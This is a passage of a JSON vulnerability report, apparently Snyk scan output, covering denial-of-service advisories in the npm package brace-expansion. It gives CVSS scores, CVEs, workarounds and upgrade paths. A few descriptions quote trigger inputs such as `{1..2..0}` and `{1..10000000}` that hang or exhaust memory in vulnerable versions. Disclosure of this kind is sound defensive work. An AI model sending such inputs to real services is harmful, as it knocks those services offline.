"cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ 